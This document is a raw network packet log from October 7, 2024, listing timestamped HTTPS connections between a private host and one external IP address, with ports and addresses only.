Oct 7, 2024 03:04:07.303278923 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.303519964 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.303520918 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.303541899 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.303556919 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.307390928 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.307432890 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.307531118 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.307840109 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.307851076 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.308623075 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.308708906 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.309021950 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.309134007 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.309168100 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.364132881 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.364288092 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.364372015 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.364661932 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.364681005 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.364712000 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.364718914 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.367618084 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.367660046 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.371732950 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.371905088 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.371917009 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.464952946 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.468235016 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.468322039 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.468664885 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.468722105 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.563541889 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.563698053 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.567862988 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.567862988 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.567862988 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.570741892 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.570796967 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.570895910 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.571024895 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.571038961 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.880319118 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.880383015 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.881083965 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.885026932 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.885054111 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.885498047 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.885509968 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.946085930 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.946897030 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.946959972 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.947622061 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.947675943 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.980626106 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.981126070 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.981142998 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.981462955 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.981467962 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.988632917 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.988717079 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.988933086 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.988933086 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.988933086 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.991861105 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.991894007 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.992094994 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.992157936 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.992172956 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.011455059 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.011773109 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.011794090 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.012093067 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.012103081 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.046974897 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.047125101 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.047338963 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.047730923 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.047730923 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.047799110 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.047832966 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.050545931 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.050589085 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.050677061 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.050811052 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.050838947 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.091478109 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.091551065 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.091605902 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.091780901 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.091799021 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.091811895 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.091819048 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.094260931 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.094293118 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.094379902 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.094506025 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.094517946 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.109954119 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.110116005 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.110214949 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.110264063 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.110294104 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.110318899 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.110349894 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.112387896 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.112401962 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.112483978 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.112606049 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.112616062 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.222219944 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.222985029 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.223007917 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.223437071 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.223448992 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.286708117 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.286803961 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.322484970 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.322674990 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.322784901 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.322930098 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.322961092 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.322985888 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.322999001 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.325864077 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.325906038 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.326122046 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.326364040 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.326385021 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.628139973 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.628887892 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.628950119 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.629221916 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.629259109 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.690742970 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.691396952 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.691426992 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.691658020 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.691665888 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.732458115 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.733599901 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.733810902 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.733810902 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.733810902 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.733875990 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.734217882 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.734237909 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.734750986 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.734755039 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.736414909 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.736506939 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.736659050 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.736824989 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.736860991 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.751555920 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.751879930 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.751895905 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.752252102 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.752255917 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.789551973 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.789625883 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.789685011 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.789715052 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.789982080 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.789982080 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.790014029 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.790287971 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.792166948 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.792211056 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.792280912 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.792387009 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.792397976 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.833842993 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.834002972 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.834065914 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.834110022 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.834110022 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.834141970 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.834161997 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.836272001 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.836292028 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.836368084 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.836498976 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.836508989 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.849319935 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.849381924 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.849432945 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.849440098 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.849483013 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.849529982 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.849554062 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.849554062 CEST	49838	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.849560022 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.849566936 CEST	443	49838	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.852385044 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.852468967 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.852577925 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.852693081 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.852727890 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.996529102 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.997134924 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.997165918 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:08.997566938 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:08.997595072 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.036838055 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.036902905 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.098721981 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.098809004 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.098859072 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.099001884 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.099015951 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.101619959 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.101666927 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.101738930 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.101866961 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.101882935 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.371114969 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.372096062 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.372157097 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.372535944 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.372592926 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.447452068 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.448422909 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.448451042 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.448721886 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.448728085 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.474170923 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.474239111 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.474330902 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.474713087 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.474713087 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.474756956 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.474787951 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.477359056 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.477442026 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.477534056 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.477678061 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.477694035 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.484136105 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.484602928 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.484664917 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.484762907 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.484778881 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.509907007 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.510385036 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.510401964 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.510785103 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.510791063 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.547744989 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.547935009 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.548104048 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.548104048 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.548104048 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.550134897 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.550173998 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.550240993 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.550344944 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.550358057 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.582377911 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.582616091 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.582799911 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.583115101 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.583115101 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.583184004 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.583219051 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.584985018 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.585030079 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.585238934 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.585299969 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.585314989 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.617384911 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.617424965 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.617468119 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.617563009 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.618057013 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.618057013 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.618072987 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.618083000 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.619712114 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.619729996 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.619796038 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.619919062 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.619923115 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.766828060 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.767688036 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.767719984 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.768137932 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.768146038 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.849208117 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.849232912 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.868691921 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.868830919 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.868989944 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.869035006 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.869055986 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.869076014 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.869083881 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.871457100 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.871500969 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:09.871650934 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.871787071 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:09.871804953 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.112005949 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.116060019 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.116101027 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.116523027 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.116535902 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.196505070 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.196981907 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.197014093 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.197431087 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.197441101 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.211253881 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.211354971 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.211441040 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.211780071 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.211780071 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.211802959 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.211822987 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.214654922 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.214695930 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.214762926 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.214894056 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.214905977 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.229290962 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.230597973 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.230642080 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.231076002 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.231103897 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.281582117 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.281984091 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.281994104 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.282361984 CEST	49848	443	192.168.2.4	13.107.246.60
